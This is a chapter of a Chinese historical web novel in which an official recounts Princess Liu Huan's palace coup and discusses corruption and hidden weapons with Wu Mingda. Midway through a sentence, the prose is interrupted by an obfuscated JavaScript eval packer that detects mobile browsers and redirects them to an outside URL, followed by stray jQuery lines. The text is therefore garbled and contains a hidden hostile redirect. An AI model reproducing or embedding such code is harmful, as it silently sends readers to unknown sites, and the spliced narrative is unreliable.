钟靖汝后来还说了什么，伍明达已经记不得了，只恍惚地沉浸于复杂的情绪之中。
诧异之余，伍明达更觉脊背发凉，似乎天下所有人的一言一行，皆于她掌握之中。人人都不过是她的一颗棋子，要杀就杀，毫不留情。
伍明达揉了揉脸，让自己保持清醒。
钟靖汝不给她喘息的机会，问道：“你可听说过东华门之变？”
伍明达正色道：“略有耳闻，愿闻其详。”
“初见陛下时，她还是个满地跑的小娃娃。我四十岁那年出任侍讲，奉诏亲授于长公主。有日在宫里，她牵着我的手问‘老师，论才华学识，我的堂姐福嘉郡主都在我一众表堂兄弟之上，可为什么她却被父皇赐婚给一个即将致仕的老官，而我的兄弟们却都能与家势顶好、相貌出众且年轻的女子成婚？都说前朝国力强盛，为何还偏偏要送公主和亲？难道仅仅因为她们是女人，就可以被当作物件被送来送去？’”
“当时周遭全是宫内当差的，我自然不能像她那般童言无忌，一时只能说些糊弄宫人的话。好在陛下看出我的难处，即刻带着我去了一个偏僻些的宫苑，她说‘这个地方没人住，你现在可以说话了。’”
“我不敢心有懈怠，环顾了四周，确定没人后，才道‘公主，在现今这个世道下，女人的的确确被当成了物件。从小的来说，家是如此，从大的来说，国也是如此。譬如今日我与你交恶，但明日我又想与你交好，纳贡不足表我诚意，那我就再向你进个公主。这样一来，你我成了儿女亲家，即可冰释前嫌，称兄道弟，两方百姓又能多享几十年太平。’”
“我记得最深刻的是，当时陛下攥紧她的两个小拳头，说‘有人叫我们顺从，可顺从了这么多年，最后得到的就是一块牌坊，稍有不慎，就容易被人拿回去。与其一辈子如履薄冰，为了立个徒有虚名的排放，不如把牌坊砸碎！我将来要像父皇一样，当个皇帝，但我绝不会如父皇一样软弱。因为将自己的姐妹、女儿、侄女甚至孙女假手于人，无论出何目的，都是一项可耻的行径，这是懦夫！而懦夫，从来就不配做天下人的共主！’”
“我听得心惊肉怕，立刻捂住她的嘴。但无论如何，我甚是欣慰，小小年级能有这般觉悟，将来定大有作为。于是我暗暗发誓，我要留在陛下身边，为她扫清障碍，出谋划策，开万事太平。”
伍明达曾依稀听得顺德二十四年，还是长公主的刘寰亲率八千铁骑，在东华门外打出“清君侧”的旗号，一日后，兵变宣告结束，东华门前伏尸上万，血流成河。
孝宗本来体弱，当年年初受了一场风寒，随后一病不起，他预料到自己大限将至，需尽快定夺储君，以继承大统。但孝宗膝下少子，仅刘寰一个长女和魏王燕王两个幼子，愿意是传位于他与萧贵妃之子魏王。由于魏王尚年幼，孝宗不想外臣过多干涉朝政，恰长公主刘寰文治武功，有勇有谋，由长公主暂时监国，代理朝政，未来辅佐幼主，他亦能够死而瞑目，至少大权依然掌握在自家人手里。
但是孝宗低估了刘寰的野心。
他这位看似不争不抢，常为弟弟们着想的孝顺女儿，直到发动政变，一路杀进内宫，把剑架上他的脖子，逼他传位于自己时，才幡然醒悟，她多年以来的隐忍、顺从、谦让，全都是表象，他的女儿，竟从不甘心屈居人后，并时刻觊觎着皇位。
而他亲自挑选的公主侍讲钟靖汝，正是为刘寰谋划这场政变的关键人物之一。
伍明达原以为钟靖汝不过是位性情刚烈的老臣，未想她也亲身参与了这场腥风血雨的斗争。
“时过境迁，陛下也长成一位能独当一面的帝王了。”
钟靖汝想起政变前夕，突发变故，新实施的税法饱受争议，有说其强行摊派，加剧百姓负担；有说其开源节流，救民济贫。新派与旧派间争论不休，刘寰提携的大臣虽未参与新旧之争，但多数被迫搅入浑水，少有全身而退的。于是有人跳出来弹劾，说刘寰大权在握，新派旧派中皆有刘寰之党羽，不管谁输谁赢，刘寰都稳坐钓鱼台。
孝宗生性多疑，一听刘寰大权独揽，立刻削掉她的臂膀，一面收回其权，一面贬谪她举荐的臣子。
这时又逢南蛮北夷来犯大周南北边境，可自太祖改革大周军制后，中央军备式微，朝廷与地方更是陷入兵不知将，将不知兵的情境，一时群狼环伺，内忧外患。
众人一筹莫展之际，一位老人上门求见，献上一个锦囊妙计，既未留下姓名，又未讨要钱财，随即拂衣而去。
起初众人认为老人不过是个江湖骗子，但最后还是因破局心切，拆开了锦囊，用老人的妙计破解了困局。
然而话刚到嘴边，伍明达却率先发话。
伍明达道：“钟大人，几年后，您是不是又要调任其她地方？”
钟靖汝不出声，只垂目盯着脚下的路。
夔州多山地，崎岖不平，翻过这道梯坎，前面又是一道。
“过了这些年，与我而言，便能安享太平晚年咯。后面的事，就由后来的人去解决。官场嘛，向来如此，担子多了，事情就多。我死后，哪管洪水滔天。”钟靖汝坦荡|笑道。
钟靖汝道：“我自接诏上任夔州，这一路的所见所闻，也都不过是冰山一角，却也在其中认清了尚存的弊病。地方上新政难施，官逼民怨，问题就出在地方旧势力错综盘虬，阻力太多。”
“打江山容易坐江山难。陛下是个好陛下，奈何她的手伸不到更远的地方。自太祖皇帝以来，天子脚下，为官者结党营私、中饱私囊的不在少数，更别说错综复杂的地方。就说税款一事，若朝廷规定的三厘，地方就能收到四厘、五厘，中空的这部分，便入了他们
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15444059|165528||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
的腰包，再一级一级地克扣，一级一级地骗，从地方骗到中央，大家都成了一条绳上的蚂蚱。”
伍明达道：“到最后天怨人怒，有人顺势揭竿而起，造反成功的人做天下共主，国运兴衰，治乱循环，千百年反反复复。大人，您有什么办法破局？”
钟靖汝胸有成竹道：“倒是有的，不过现在看来，定是一招险路，且必有一场血战。成则改天换地，败则满盘皆输。”
她看着伍明达的眼睛，目光深邃，“事已至此，我可以告诉你，梁孝儒死有余辜，如果张员外还不收手，下场将会和他一样。”
伍明达终于吐出她的猜想：“荒宅地下的兵器，是否与张梁二人有关？”
钟靖汝轻叹一声，“证据不足，难以堵住悠悠众口。陛下对梁孝儒此举，本是为警告那姓张的，这期间我在收集证据，也是为留出充分时间，给他机会考虑，如果他就此收手，陛下为昭示仁义，尚能留他全家一条活命。”
伍明达道：“冒着被杀头的风险也要私藏和转运兵器，不知道他们拿了多少好处。”
钟靖汝道：“所以不能打草惊蛇，只能顺藤摸瓜，找到背后之人。”
“钟大人足智多谋，真乃当世吕雉！”伍明达一点即透，她豁然贯通道，“您此前派人驻守荒宅，按兵不动，是打算引蛇出洞，等他们都坐不住了，而后一举拿下？”
钟靖汝说道：“别无她法，唯有等，才会出现转机。好多事急不得，慢一些，说不定就还有转圜的余地。”
伍明达又问：“钟大人，假新娘一事可有眉目了？”
钟靖汝笑了笑，“假作真时真亦假，话只能说至此处，余下的，你自个儿好生领悟。”
她又道：“回去叫上你的朋友们，帮我替她们道个谢。最近辛苦你们了，便早些回去歇息。”
伍明达朝她一揖，“多谢钟大人提点。再过几日，我就要回云南，此去一别，不知何时才能再见？”
不知不觉中，两人走到一座石桥旁。
钟靖汝站在桥头，挥手让伍明达返回，“你看，又急。先别急着告别，在你动身还乡之前，你我必定还会再见。”
伍明达提脚踏上归路，她思绪纷繁，误打误撞进入一片竹林。
林中萦绕着山间夜雾，一滴霜露落在她的发顶，她顺手抓了把头，本想骂是哪只不长眼的鸟儿在她头上拉屎，一看手上，没有任何痕迹，举头四顾，莽莽苍苍的青竹在雾色中摇曳。
她呆愣片刻，又沿着原路回去。
深更半夜，静得出奇，依稀听见夜空中几声猫头鹰“咕咕”的啼叫。
刘寰的事迹在她心中挥之不去，走着走着，又一个念头闪过，她心道：“古往今来，做到人道合一的，又有几人？人非圣贤，孰能无过。人之是非功过，又不是单单几人能评说的。”